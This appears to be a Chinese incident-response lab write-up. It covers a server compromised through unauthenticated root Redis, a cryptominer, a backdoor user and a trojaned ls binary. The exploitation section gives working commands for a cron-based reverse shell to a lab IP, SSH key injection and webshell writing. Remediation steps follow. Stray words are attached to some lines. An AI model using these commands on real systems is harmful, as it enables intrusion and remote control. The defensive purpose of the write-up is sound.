有客户反馈其所使用的服务器近期忽然网站打开特别慢,可是网站访问人数较前期并没有明显变化,服务器CPU利用率较高。同时客户接到投诉反映经过搜索引擎搜索该网站点击后会跳转到博彩网站。请协助客户分析该服务器遭受何种攻击并恢复服务器正常运行。同时帮助客户清理恶意程序,阻止黑客再次入侵。php
A:首先top看一下cpu内存占用状况
html
B:登陆服务器先查看一下端口状况,发现开启了redis-serverweb
而且能够看到redis-server监听在0.0.0.0:6379redis
C:查看是否存在redis未受权访问shell
redis-cli -h 192.168.52.135
查看redis版本信息、一些具体信息、服务器版本信息等等:infojson
查看全部键:KEYS *bash
能够看到redsi存在未受权访问服务器
D:判断redsi是否为root权限ssh
netstat -anptl ps -aux| grep 30
发现redis是root用户启动的,且同时redis存在未受权访问tcp
redis未受权通常利用方式有如下三种:
第一种:反弹shell
root@kali:~# redis-cli -h 192.168.52.135 192.168.52.135:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.52.128/2333 0>&1\n\n" //1分钟后执行计划任务 OK 192.168.52.135:6379> config set dir /var/spool/cron OK 192.168.52.135:6379> config set dbfilename root OK 192.168.52.135:6379> save OK
能够看到成功写入计划任务
第二种:写ssh-keygen公钥,而后使用私钥登录
在如下条件下,能够利用此方法
首先在本地生成一对密钥:
ssh-keygen -t rsa
而后redis执行命令:
root@kali:~# redis-cli -h 192.168.52.135 192.168.52.135:6379> config set dir /root/.ssh/ OK 192.168.52.135:6379> config set dbfilename authorized_keys OK 192.168.52.135:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiF1o01tlJug4myll3sN/z3IRABopXPAIQMYnCWYxxh7Ud3sLzsSv6sufKyKS3f6Hlrbv7/av0irgwFUHOXn1cBL79SnRvsKsbY3Gqlac+FUKF4BiuHsOOp1SZwJTbYPi1wsCsGpzIAv4FC9h5GuLMgn/XR9boPBd6RyyM+NM34k+so6M1DEY69hRdVm4mspOiBMRt8XDBSGu/daaQvAZQAeE0kmKv9GcAULD06WaEoth1+pRsQ3tIB6C+9dNZEa7ODTtL44mJUqWZVEINUylzJz+LgKw3NLGP/hr1xqoj2mllThCtJJe5axxkYkE1qSf7KFHsAlqtnBoGSrJn5cD9GaT5TVU9sUi289OCQVObpzboNJ6YYAlfoMCH8VSEg6On/NYUY4+qBQdLEPj9fC/XSAOnc0wK6RZ85P8tB1E5RC3JOvZhCjDWCKbuW/cue9ukm+cOY7gvbP1OcXWhFMxw/SI64zvdECyDH0QsdT82kTKVLcVdwunDjENy1TbbCGE= root@kali\n\n\n" OK 192.168.52.135:6379> save OK
save后能够直接利用公钥登陆ssh
[root@kali:~# cd .ssh/ [root@kali:~/.ssh# ssh -i id_rsa root@192.168.52.135
第三种:向web路径写webshell
当redis权限不高时,而且服务器开着web服务,在redis有web目录写权限时,能够尝试往web路径写webshell
执行如下命令
root@kali:~# redis-cli -h 192.168.52.135 192.168.52.135:6379> config set dir /var/www/html/ OK 192.168.52.135:6379> config set dbfilename shell.php OK 192.168.52.135:6379> set x "" OK 192.168.52.135:6379> save OK
http://172.17.0.2/shell.php
通常redis未受权修复:
一、redis未受权修复
将redis服务改成监听本地,或为redis访问设置⼝令便可。
A:首先结束掉redis服务
B:修改监听地址为127.0.0.1
root@65c7d9159ef6:~# cat /etc/redis/redis.conf 修改redis配置⽂件 将/etc/redis/redis.conf中的 #bind 127.0.0.1 改成 bind 127.0.0.1
或 将/etc/redis/redis.conf中的 # requirepass foobared 改成 requirepass foobared
参考:http://www.javashuo.com/article/p-cpaljjob-oa.html
\1. 不重启redis如何配置密码?
a. 在配置文件中配置requirepass的密码(当redis重启时密码依然有效)。
# requirepass foobared -》 修改为 : requirepass 123
b. 进入redis重定义参数
查看当前的密码:
链接客户端:redis-cli
redis 127.0.0.1:6379>
redis 127.0.0.1:6379> config get requirepass
"requirepass"
(nil) 显示密码是空的
c. 而后设置密码:
redis 127.0.0.1:6379> config set requirepass 123
OK
d. 再次查询密码:
redis 127.0.0.1:6379> config get requirepass
(error) ERR operation not permitted
此时报错了!
如今只须要密码认证就能够了。
redis 127.0.0.1:6379> auth 123
OK
e. 再次查询密码:
redis 127.0.0.1:6379> config get requirepass
"requirepass"
"test123"
修改为功
C:修改完配置后从新启动redis服务
使⽤命令 redis-server /etc/redis/redis.conf 启动redis服务
能够看到配置文件已经生效,咱们再来验证下
能够看到链接被拒绝,说明没有问题
二、使用非root用户启动redsi服务
使⽤⾮root⽤户运⾏redis服务便可。
A. 终⽌原redis进程
ps -ef|grep redis-server|awk '{print $2}'|xargs kill -9
B.:使⽤⾮root⽤户启动redis服务,如,经过init.d中的redis管理项启动
# 启动后redis-server的运⾏⽤户为redis:redis
root@65c7d9159ef6:~# cd /etc/init.d root@65c7d9159ef6:/etc/init.d# ./redis-server start
三、挖矿进程清除
A:top
B.:查看进程清单找出CPU占⽤⾼的进程
root@65c7d9159ef6:~# ps -ef | grep mycoin
发现/usr/share/mycoin/mycoin文件运行时加载的json配置文件中包含矿池地址以及链接的用户名密码
root@65c7d9159ef6:~# cat /usr/share/mycoin/config.json
{ "threads":2, // number of miner threads "pools": [ { "url": "stratum+tcp://u1pool.com:18888", // URL of mining server "user": "UP57on3ZKh6DDVUBv8d97awyrTfE8vXTF5.test01", // username for mining server "pass": "x" // password for mining server } ] }
C:终⽌挖矿进程
四、Linux开机自启动排查
参考:http://www.javashuo.com/article/p-cmjlkjyr-oa.html
A:/etc/init.d/下的脚本
chkconfig --list | grep mycoin
参考:http://www.javashuo.com/article/p-zniknfhw-kc.html
B:/etc/rc.local
cat /etc/rc.local | grep mycoin
删除掉 /usr/share/mycoin/mycoin -c /usr/share/mycoin/config.json -B 内容便可
C:文件指向路径是/etc/init.d下的脚本文件
/etc/rc[0-6].d
D:设置程序的.desktop文件
program.desktop文件写法: [Desktop Entry] Name=program Exec=/usr/bin/program Type=Application Comment=my program
E:crontab定时执行任务
周期执行的任务通常由cron这个守护进程来处理[ps -ef|grep cron]
cron的配置文件称为“crontab”,是“cron table”的简写
service crond start //启动服务
service crond stop //关闭服务
service crond restart //重启服务
service crond reload //从新载入配置
service crond status //查看服务状态
每两个小时
0 */2 * * * echo "Have a break now." >> /tmp/test.txt
crontab -l //在标准输出上显示当前的c
crontab -r // 删除当前的crontab文件。
crontab -e //使用VISUAL或者EDITOR环境变量所指的编辑器编辑当前的crontab文件,当结束编辑离开时,编辑后的文件将自动安装。
顺着计划任务所指向的文件目录查找
发现挖矿程序和配置文件,可是发现没有相关常常,说明计划任务没有执行
删除上述挖矿程序和配置文件,删除计划任务
root@65c7d9159ef6:~# cd /etc/init.d
查看mine_srv文件内容,发现
PROG="mining" PROG_PATH="/usr/local/sbin" ## Not need, but sometimes helpful (if $PROG resides in /opt for example). PROG_ARGS="-c /etc/mine_srv/config.json -B"
分别查看以上几个路径,发现json文件为挖矿配置文件,可是无相关进程
删除以上可执行程序和配置文件
五、backdoor用户删除
在/etc/passwd中发现backdoor用户,可是删除是提示backdoor用户当前被进程1使用
userdel -f backdoor
由于咱们如今是root用户,直接能够修改/etc/passwd和/etc/shadow
删掉backdoor用户
六、清除ls动态连接库后门
当执行ls命令时,发现提示“backdoor组已经存在”,猜想ls命令被更改了
先删除backdoor组,而后执行ls命令没有提示了,再次查看/etc/passwd,发现被添加了backdoor用户,说明/bin/ls ⽂件的动态连接库中被添加了后⻔程序
删除/bin/ls可执行文件,从新上传一个从其余服务器上提取的ls文件替换便可。